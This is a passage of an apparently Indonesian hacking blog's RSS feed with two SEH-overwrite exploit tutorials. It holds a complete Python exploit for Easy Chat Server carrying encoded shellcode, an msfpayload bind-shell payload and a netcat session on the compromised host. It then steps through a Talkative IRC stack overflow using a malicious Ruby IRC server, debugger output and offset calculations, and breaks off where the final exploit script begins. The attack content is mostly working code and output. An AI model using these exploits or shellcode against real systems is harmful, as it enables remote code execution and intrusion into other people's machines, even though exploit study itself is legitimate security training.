"\x44\x37\x42\x53\x51\x4c\x44\x33\x43\x49\x42\x53\x44\x34\x45"
"\x35\x42\x4d\x50\x33\x50\x32\x51\x4c\x43\x53\x43\x51\x42\x4c"
"\x42\x43\x46\x4e\x45\x35\x44\x38\x45\x35\x43\x30\x45\x5a\x41"
"\x41";</pre>
<h3>Show Ur Spl0it</h3>
<p style="text-align: justify;">Pada awal tulisan ini saya berjanji akan seminimal mungkin menggunakan programming, namun untuk mengirimkan shellcode harus menggunakan bantuan programming. Alasannya karena jika menggunakan telnet maka karakter-karakter shellcode tersebut akan berubah isinya ketika sampai pada easy chat server. Kita akan menggunakan bahasa pemrograman python yang mendefinisikan variabel <em>junk, next seh, seh, serta shellcode</em>. Socket akan membuka koneksi ke port 80 server, dan mengirimkan <em>request</em> yang berisi variabel-variabel tersebut ke server dan akan meng-eksploitasi authentifikasi variable &#8216;username&#8217;.</p>
<pre class="brush: python;">#!/usr/bin/python

import struct
import socket

junk = "A" * 216
next_seh = "\xeb\x06\x90\x90"
seh = "\xb6\xb2\x01\x10"
shellcode = (
"\x89\xe0\xd9\xc8\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30"
"\x45\x50\x43\x30\x45\x30\x4d\x59\x4d\x35\x46\x51\x49\x42\x43"
"\x54\x4c\x4b\x46\x32\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x46\x32\x45\x44\x4c\x4b\x44\x32\x51\x38\x44\x4f\x4e\x57\x51"
"\x5a\x46\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c"
"\x43\x51\x43\x4c\x45\x52\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x49\x57\x4d\x32\x4c\x30\x50\x52\x50\x57\x4c\x4b"
"\x50\x52\x42\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x4e\x30\x4c"
"\x4b\x51\x50\x42\x58\x4b\x35\x4f\x30\x44\x34\x50\x4a\x45\x51"
"\x48\x50\x50\x50\x4c\x4b\x47\x38\x45\x48\x4c\x4b\x46\x38\x51"
"\x30\x43\x31\x48\x53\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x50\x34"
"\x4c\x4b\x43\x31\x49\x46\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x49\x51\x48\x4f\x44\x4d\x45\x51\x48\x47\x47\x48\x4b\x50"
"\x44\x35\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"
"\x54\x44\x35\x4d\x32\x51\x48\x4c\x4b\x50\x58\x47\x54\x43\x31"
"\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x43\x31\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x43\x51\x50"
"\x59\x50\x5a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x51\x4a"
"\x4c\x4b\x44\x52\x4a\x4b\x4b\x36\x51\x4d\x42\x4a\x43\x31\x4c"
"\x4d\x4c\x45\x48\x39\x45\x50\x43\x30\x43\x30\x46\x30\x45\x38"
"\x46\x51\x4c\x4b\x42\x4f\x4c\x47\x4b\x4f\x48\x55\x4f\x4b\x4a"
"\x50\x4f\x45\x4e\x42\x50\x56\x42\x48\x49\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x49\x45\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4b\x50\x44\x35\x44\x45\x4f\x4b\x51\x57\x44\x53"
"\x43\x42\x42\x4f\x42\x4a\x43\x30\x50\x53\x4b\x4f\x49\x45\x42"
"\x43\x47\x4a\x51\x4c\x43\x47\x42\x49\x42\x4e\x42\x44\x42\x4f"
"\x44\x37\x42\x53\x51\x4c\x44\x33\x43\x49\x42\x53\x44\x34\x45"
"\x35\x42\x4d\x50\x33\x50\x32\x51\x4c\x43\x53\x43\x51\x42\x4c"
"\x42\x43\x46\x4e\x45\x35\x44\x38\x45\x35\x43\x30\x45\x5a\x41"
"\x41")

request  = "GET /chat.ghp?username=" + junk + next_seh + seh + shellcode + "&amp;password=1234567&amp;room=1&amp;sex=2 HTTP/1.1\r\n"
request += "Host: 172.16.30.129\r\n"

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('172.16.30.129',80))
sock.send(request + "\r\n\r\n")
sock.close()</pre>
<p>Hasilnya adalah aplikasi Easy Chat Server akan di-terminate dan akan keluar <em>calc.exe</em>,</p>
<p><a href="http://img46.imageshack.us/img46/908/screenshot20100131at238.png" target="_blank"><img src="http://img46.imageshack.us/img46/908/screenshot20100131at238.png" border="0" alt="" /></a></p>
<h3>Wait, where&#8217;s my shell?</h3>
<p>Eksekusi calc.exe diatas biasanya tipikal shellcode standar untuk membuktikan bahwa alur eksploitasi kita berjalan dengan baik. Untuk mendapatkan shell pada server yang telah di eksploitasi cukup menggangi shellcodenya saja,</p>
<pre class="brush: bash; gutter: false;">$ ./msfpayload windows/shell_bind_tcp LPORT=31337 R | ./msfencode -e x86/alpha_upper -b "\x00" -t c
[*] x86/alpha_upper succeeded with size 753 (iteration=1)

unsigned char buf[] =
"\x89\xe3\xdb\xd7\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x43\x30"
"\x43\x30\x45\x50\x45\x30\x4b\x39\x4d\x35\x50\x31\x48\x52\x45"
"\x34\x4c\x4b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
"\x46\x32\x42\x34\x4c\x4b\x44\x32\x47\x58\x44\x4f\x4e\x57\x51"
"\x5a\x51\x36\x46\x51\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x47\x4c"
"\x45\x31\x43\x4c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48\x4f\x44"
"\x4d\x45\x51\x4f\x37\x4a\x42\x4c\x30\x51\x42\x51\x47\x4c\x4b"
"\x46\x32\x42\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x48\x50\x4c"
"\x4b\x51\x50\x44\x38\x4d\x55\x49\x50\x43\x44\x50\x4a\x45\x51"
"\x4e\x30\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x51\x48\x47"
"\x50\x43\x31\x48\x53\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x47\x44"
"\x4c\x4b\x45\x51\x48\x56\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e"
"\x4c\x4f\x31\x48\x4f\x44\x4d\x45\x51\x49\x57\x50\x38\x4d\x30"
"\x44\x35\x4a\x54\x44\x43\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46"
"\x44\x43\x45\x4d\x32\x51\x48\x4c\x4b\x50\x58\x51\x34\x43\x31"
"\x4e\x33\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x46\x38\x45"
"\x4c\x43\x31\x49\x43\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"
"\x4c\x49\x50\x44\x47\x54\x46\x44\x51\x4b\x51\x4b\x45\x31\x51"
"\x49\x51\x4a\x46\x31\x4b\x4f\x4d\x30\x50\x58\x51\x4f\x51\x4a"
"\x4c\x4b\x42\x32\x4a\x4b\x4c\x46\x51\x4d\x45\x38\x50\x33\x47"
"\x42\x45\x50\x45\x50\x45\x38\x42\x57\x42\x53\x47\x42\x51\x4f"
"\x51\x44\x45\x38\x50\x4c\x44\x37\x51\x36\x43\x37\x4b\x4f\x49"
"\x45\x4e\x58\x4c\x50\x43\x31\x43\x30\x45\x50\x47\x59\x48\x44"
"\x51\x44\x46\x30\x42\x48\x47\x59\x4b\x30\x42\x4b\x43\x30\x4b"
"\x4f\x49\x45\x46\x30\x46\x30\x50\x50\x46\x30\x51\x50\x50\x50"
"\x51\x50\x46\x30\x42\x48\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b"
"\x4f\x48\x55\x4c\x49\x4f\x37\x46\x51\x49\x4b\x50\x53\x42\x48"
"\x45\x52\x45\x50\x42\x5a\x43\x59\x4d\x59\x4b\x56\x42\x4a\x44"
"\x50\x51\x46\x51\x47\x43\x58\x4f\x32\x49\x4b\x46\x57\x43\x57"
"\x4b\x4f\x4e\x35\x51\x43\x50\x57\x43\x58\x48\x37\x4a\x49\x46"
"\x58\x4b\x4f\x4b\x4f\x48\x55\x50\x53\x46\x33\x51\x47\x42\x48"
"\x42\x54\x4a\x4c\x47\x4b\x4d\x31\x4b\x4f\x4e\x35\x50\x57\x4d"
"\x59\x49\x57\x42\x48\x42\x55\x42\x4e\x50\x4d\x43\x51\x4b\x4f"
"\x49\x45\x43\x58\x45\x33\x42\x4d\x43\x54\x43\x30\x4c\x49\x4a"
"\x43\x51\x47\x46\x37\x50\x57\x46\x51\x4b\x46\x42\x4a\x44\x52"
"\x50\x59\x50\x56\x4b\x52\x4b\x4d\x45\x36\x49\x57\x50\x44\x47"
"\x54\x47\x4c\x45\x51\x45\x51\x4c\x4d\x51\x54\x46\x44\x42\x30"
"\x4f\x36\x45\x50\x51\x54\x46\x34\x50\x50\x51\x46\x46\x36\x50"
"\x56\x47\x36\x46\x36\x50\x4e\x51\x46\x46\x36\x50\x53\x50\x56"
"\x45\x38\x44\x39\x48\x4c\x47\x4f\x4c\x46\x4b\x4f\x48\x55\x4b"
"\x39\x4b\x50\x50\x4e\x50\x56\x47\x36\x4b\x4f\x46\x50\x43\x58"
"\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b\x4f\x48\x55\x4f\x4b\x4c"
"\x30\x48\x35\x4e\x42\x51\x46\x45\x38\x4f\x56\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b"
"\x30\x4b\x4b\x4d\x30\x43\x45\x43\x35\x4f\x4b\x50\x47\x42\x33"
"\x42\x52\x42\x4f\x43\x5a\x43\x30\x46\x33\x4b\x4f\x4e\x35\x45"
"\x5a\x41\x41";</pre>
<p>Dengan mengganti bagian shellcode dari spl0it diatas, maka ketika selesai dieksekusi sistem operasi target akan membuka shell di port 31337,</p>
<pre class="brush: bash; gutter: false;">$ nc 172.16.30.129 31337
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Strazytski\Desktop&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8C23-6511

 Directory of C:\Documents and Settings\Strazytski\Desktop

01/29/2010  11:14 AM              .
01/29/2010  11:14 AM              ..
01/28/2010  07:37 PM         2,359,739 camshot-v1.2.exe
01/29/2010  07:28 AM               670 Easy Chat Server.lnk
01/26/2010  04:47 PM               575 IDA Pro Advanced (32-bit).lnk
01/26/2010  04:47 PM               587 IDA Pro Advanced (64-bit).lnk
01/26/2010  01:30 PM        91,799,890 IDAPro5.5.rar
04/22/2009  01:36 PM             1,059 Microsoft Visual Studio 2008.lnk
04/26/2009  06:36 PM               666 OLLYDBG.lnk
01/18/2010  11:39 PM              vuln software
01/09/2010  06:56 PM               494 windbg.lnk
               8 File(s)     94,163,680 bytes
               3 Dir(s)  22,697,357,312 bytes free</pre>
<p>Well, that&#8217;s all for now folks. Banyak sekali contoh aplikasi yang dapat di eksploitasi menggunakan tehnik SEH overwrite. Setelah berlatih dengan 4-5 software, kalian pasti bisa dengan mudah mendapatkan konsep dan menerapkannya pada bug software lain.</p>
<p>Have fun with your pop+pop+ret <img src='http://www.kecoak-elektronik.net/log/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2010/01/31/seh-overwrite-for-n00b/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Talkative IRC 0.4.4.16 Remote Stack Overflow</title>
		<link>http://www.kecoak-elektronik.net/log/2010/01/21/talkative-irc-0-4-4-16-remote-stack-overflow-old-bug/</link>
		<comments>http://www.kecoak-elektronik.net/log/2010/01/21/talkative-irc-0-4-4-16-remote-stack-overflow-old-bug/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 06:09:09 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[Bug & Exploit]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[overflow]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[seh overwrite]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[talkative]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=709</guid>
		<description><![CDATA[Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link ini. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link <a href="http://www.talkative-irc.com/download.html" target="_blank">ini</a>. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software ini.</p>
<p style="text-align: justify;">Dari <a href="http://milw0rm.com/exploits/8227" target="_blank">milw0rm</a>, kita tahu bahwa exploitasi talkative dengan memanfaatkan SEH overwrite. Crash dapat di-trigger dengan code berikut ini:</p>
<pre class="brush: ruby;">#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' =&gt; '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + "A" * 500 + " PRIVMSG " + "J" * 4 + " : /FINGER " + "K" * 8 + ".\r\n"
chld.put(crash)
sock.close</pre>
<p>Dengan menggunakan windbg kita dapat melihat posisi berikut ini ketika crash terjadi:</p>
<pre class="brush: plain; gutter:false;">(36c.4f4): Unknown exception - code 0eedfade (first chance)
ModLoad: 662b0000 66308000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a90000 71a98000   C:\WINDOWS\System32\wshtcpip.dll
(36c.7cc): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:41414131=????????</pre>
<p>Kita bisa lihat bahwa crash terjadi di lokasi 0&#215;004d8260. Crash mengakibatkan terjadinya suatu exception (access violation), berikut ini operasi yang menyebabkan terjadinya crash,</p>
<blockquote><p>mov eax, dword ptr [eax-10h] ds:0023:41414131=????????</p></blockquote>
<p style="text-align: justify;">Pada posisi tersebut, nilai eax berisi karakter yang kita kirimkan (0&#215;41414141) dan dalam operasi tersebut nilai dari pointer yang ditunjuk oleh [eax-10h] akan di masukan kedalam register eax. Namun karena nilai eax telah dimodifikasi melalui inputan server maka operasi tersebut menunjuk lokasi yang tidak valid (0&#215;41414131) dan mengakibatkan suatu &#8220;access violation&#8221;.</p>
<h2>SEH overwrite</h2>
<p>Ketika exception tersebut terjadi maka sistem operasi akan menjalankan procedure SEH (Structure Exception Handler), yang secara default akan men-terminate aplikasi. Kita akan mencari tahu apakah inputan server sebelumnya juga dapat meng-overwrite SEH,</p>
<pre class="brush: plain; gutter: false">0:000&gt; !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41414141
Invalid exception stack at 41414141</pre>
<p style="text-align: justify;">terlihat dengan jelas bahwa struktur SEH pun ikut termodifikasi. Dengan kata lain, exploitasi dapat dilakukan dengan memanfaatkan tehnik SEH overwrite (dengan catatan DEP disabled dan aplikasi tidak di-compile menggunakan SafeSEH).</p>
<p style="text-align: justify;">Walaupun dari exploit tersebut kita sudah mengetahui posisi offset berapa untuk overwrite SEH record serta Next SEH record, namun ada baiknya kita melakukan cross-check ulang sebagai bahan pembelajaran dengan asumsi hanya mengetahui advisories dari bug tersebut. Ada beberapa tools yang dapat digunakan, untuk saat ini kita akan menggunakan bantuan metasploit dan byakugan.</p>
<p style="text-align: justify;">Pada code talkative_crash.rb diatas, ganti pattern untuk trigger crash yang semula 500 bytes karakter &#8220;A&#8221; dengan pattern metasploit.</p>
<blockquote><p>crash = &#8220;:&#8221; + Rex::Text.pattern_create(500) + &#8221; PRIVMSG &#8221; + &#8220;J&#8221; * 4 + &#8221; : /FINGER &#8221; + &#8220;K&#8221; * 8 + &#8220;.\r\n&#8221;</p></blockquote>
<p style="text-align: justify;">Jalankan kembali talkative untuk connect ke server talkative_crash.rb, sesaat setelah crash maka kita akan analisis kembali menggunakan windbg.</p>
<pre class="brush: plain; gutter: false;">First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000&gt; !load byakugan
[Byakugan] Successfully loaded!
0:000&gt; !jutsu identBuf msfpattern crash 500 500
[J] Creating buffer crash.
0:000&gt; !jutsu listBuf
[J] Currently tracked buffer patterns:
	Buf: crash	Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4
Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1
An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

0:000&gt; !jutsu hunt
[J] Controlling eax with crash at offset 268.
[J] Found buffer crash @ 0x0012cf67
[J] Found buffer crash @ 0x001856ec - Victim of Unicode Conversion!
0:000&gt; !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41326a41
Invalid exception stack at 316a4130</pre>
<p style="text-align: justify;">Dengan menggunakan byakugan, kita dapat membuat buffer yang memuat metasploit pattern seperti yang di generate oleh talkative_crash.rb. Kemudian dengan &#8220;!jutsu hunt&#8221; kita dapat mencari pada offset ke berapa dari buffer tersebut yang telah mengisi nilai general register / mengontrol nilai general register. Dalam classic stack-overflow biasanya ini digunakan untuk menentukan offset pengontrol EIP, namun sayangnya untuk SEH based exploit seperti contoh ini byakugan belum dapat menganalisis secara otomatis pattern yang telah mengoverwrite SEH record. Untuk itu kita lakukan secara manual.</p>
<h2>Finding the offset</h2>
<p style="text-align: justify;">Next SEH record di-overwrite oleh karakter 0&#215;41326a41, dan SEH record di-overwrite oleh karakter 0&#215;316a4130. Dengan memahami bahwa arsitektur x86 adalah little endian, maka kita bisa mendapatkan string pattern dengan memanfaatkan bantuan dari tools <a href="http://www.dolcevie.com/js/converter.html" target="_blank">semacam ini</a>.</p>
<blockquote><p>Hex: 30416a31, Ascii: 0Aj1</p>
<p>Hex: 416a3241, Ascii: Aj2A</p></blockquote>
<p style="text-align: justify;">Selanjutnya dengan bantuan &#8220;pattern_offset.rb&#8221; kita dapat menentukan pada offset keberapakah SEH record serta Next SEH record tersebut di-overwrite,</p>
<pre class="brush: bash; gutter: false;">Snow:tools$ ./pattern_offset.rb 0Aj1 500
272
Snow:tools$ ./pattern_offset.rb Aj2A 500
276</pre>
<p style="text-align: justify;">Kesimpulan akhir didapat bahwa SEH record di-overwrite oleh karakter pada <em>offset 272</em> sedangkan Next SEH record di-overwrite oleh karakter pada <em>offset 276</em>. Sebagaimana karakteristik SEH based exploit, kita akan mencari lokasi memory yang memuat opcode &#8220;pop pop ret&#8221;. Talkative tidak di-compile menggunakan /SafeSEH, sehingga binary dari Talkative itu sendiri dapat digunakan sebagai trampoline untuk opcode &#8220;pop pop ret&#8221;. Selain menggunakan binary dari aplikasi seperti talkative ini kita juga dapat menggunakan loadable module dari windows, namun berhubung tiap versi windows berbeda-beda dan setiap service pack akan mengakibatkan struktur yang berbeda pula maka akan jauh lebih baik menggunakan library yang di-load oleh aplikasi atau bahkan binary dari aplikasi itu sendiri.</p>
<h2>Pop, pop, ret</h2>
<p style="text-align: justify;">Dalam hal talkative, pertama-tama kita akan mencari dari binary software itu sendiri. Immunity debugger memiliki beberapa feature untuk mendeteksi /SafeSEH maupun mencari opcode &#8220;pop pop ret&#8221; secara otomatis yang bebas dari /SafeSEH, diantara pyCommand yang dapat digunakan adalah pvefindaddr buatan Peter Van Echoutte. Berikut ini contoh penggunaannya,</p>
<p style="text-align: center;">
<p><a title="ImageShack - Image And Video Hosting" href="http://img8.imageshack.us/img8/557/screenshot20100121at619.png" target="_blank"><img src="http://img8.imageshack.us/img8/557/screenshot20100121at619.png" border="0" alt="" /></a></p>
<p style="text-align: justify;">&#8220;!pvefindaddr p&#8221; akan mencari opcode &#8220;pop pop ret&#8221; dari module-module yang di-load oleh aplikasi talkative namun tidak di-compile menggunakan /SafeSEH (SEH protection). Sayangnya opcode &#8220;pop pop ret&#8221; dari binary &#8220;talkative irc.exe&#8221; berada di lokasi memory yang terdapat karakter &#8220;00&#8243;, exploitasi akan memasukan lokasi memory tersebut sebagai string yang akibatnya dikenal sebagai &#8220;akhir dari string&#8221; sehingga tidak bisa digunakan. Untuk itu kita akan memilih lokasi memory lain, sebagai contoh:</p>
<blockquote><p>pop esi<br />
pop ebx<br />
ret 04 at 0&#215;72d1146b [msacm32.drv] Access: (PAGE_EXECUTE_READ)</p></blockquote>
<p>Sehingga code dari talkative_crash.rb menjadi seperti berikut:</p>
<pre class="brush: ruby; gutter: false;">#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' =&gt; '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + Rex::Text.pattern_create(272) + "\xcc\xcc\xcc\xcc" + [0x72d1146b].pack('V') + " PRIVMSG " + "B" * 4 + " : /FINGER " + "C" * 8 + ".\r\n"
chld.put(crash)
sock.close</pre>
<p style="text-align: justify;">Setelah talkative_irc.exe crash maka akan diambil alih oleh SEH record, SEH record di tunjuk oleh Next SEH record yang berada di lokasi 0&#215;72d1146b.</p>
<blockquote><p>0:000&gt; u 0&#215;72d1146b<br />
msacm32!wodMessage+0&#215;241:<br />
72d1146b 5f              pop     edi<br />
72d1146c 5d              pop     ebp<br />
72d1146d c21400          ret     14h</p></blockquote>
<p style="text-align: justify;">akibat dari &#8220;pop, pop, ret&#8221; eksekusi akan dibawa menuju lokasi SEH record yang dari code diatas diisi oleh &#8220;\xcc\xcc\xcc\xcc&#8221; (INT 3). Apabila dijalankan maka akan menghasilkan</p>
<pre class="brush: plain;">First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000008 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000&gt; g
(c4.100): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=72d1146b edx=7c9032bc esi=00000000 edi=7c9032a8
eip=0012f1d0 esp=0012ecdc ebp=0012eda4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012f1d0 cc              int     3</pre>
<p style="text-align: justify;">Kita akan mencari lokasi shellcode. Pada code talkative_crash sebelumnya kita bisa memasukan sebanyak 500 byte (karakter) untuk membuat crash, 272 byte sudah dipakai sebagai junk awal, 4 byte berikutnya dipakai untuk overwrite SEH record, 4 byte berikutnya dipakai untuk overwrite Next SEH record. Yang berarti byte setelahnya bisa digunakan untuk shellcode. Untuk itu kita akan coba ubah isi variable crash menjadi seperti berikut,</p>
<blockquote><p>crash = &#8220;:&#8221; + Rex::Text.pattern_create(272) + &#8220;\xcc\xcc\xcc\xcc&#8221; + [0x72d1146b].pack(&#8217;V') + &#8220;A&#8221; * 500 + &#8221; PRIVMSG &#8221; + &#8220;B&#8221; * 4 + &#8221; : /FINGER &#8221; + &#8220;C&#8221; * 8 + &#8220;.\r\n&#8221;</p></blockquote>
<p>Setelah SEH record dieksekusi, kita akan melihat deretan karakter &#8220;A&#8221; berada disekitar register EIP,</p>
<pre class="brush: plain; gutter: false;">0:000&gt; d eip
0012f1d0  cccccccc 72d1146b 41414141 41414141
0012f1e0  41414141 41414141 41414141 41414141
0012f1f0  41414141 41414141 41414141 41414141
0012f200  41414141 41414141 41414141 41414141
0012f210  41414141 41414141 41414141 41414141
0012f220  41414141 41414141 41414141 41414141
0012f230  41414141 41414141 41414141 41414141
0012f240  41414141 41414141 41414141 41414141
0:000&gt; d
0012f250  41414141 41414141 41414141 41414141
0012f260  41414141 41414141 41414141 41414141
0012f270  41414141 41414141 41414141 41414141
0012f280  41414141 41414141 41414141 41414141
0012f290  41414141 41414141 41414141 41414141
0012f2a0  41414141 41414141 41414141 41414141
0012f2b0  41414141 41414141 41414141 41414141
0012f2c0  41414141 41414141 41414141 41414141
0:000&gt; d
0012f2d0  41414141 41414141 41414141 41414141
0012f2e0  41414141 41414141 41414141 41414141
0012f2f0  41414141 41414141 41414141 41414141
0012f300  41414141 41414141 41414141 41414141
0012f310  41414141 41414141 41414141 41414141
0012f320  41414141 41414141 41414141 41414141
0012f330  41414141 41414141 41414141 41414141
0012f340  41414141 41414141 41414141 41414141</pre>
<p style="text-align: justify;">Ini adalah tipikal SEH based exploitation. Dengan cukup memasukan opcode &#8220;jump short&#8221; beberapa byte kedepan saat overwrite SEH record maka shellcode dapat dieksekusi (shellcode menggantikan posisi &#8220;A&#8221; * 500). Kita bisa menggunakan jump short 6 byte kedepan, namun untuk membuat exploit lebih reliable maka biasanya diletakan NOP sled sebelum shellcode. Pada exploit kita akan meletakan 20 NOP sled sebelum akhirnya shellcode yang sebenarnya. Berikut ini talkative_spl0it.rb,</p>
<pre class="brush: ruby;">#!/usr/bin/env ruby

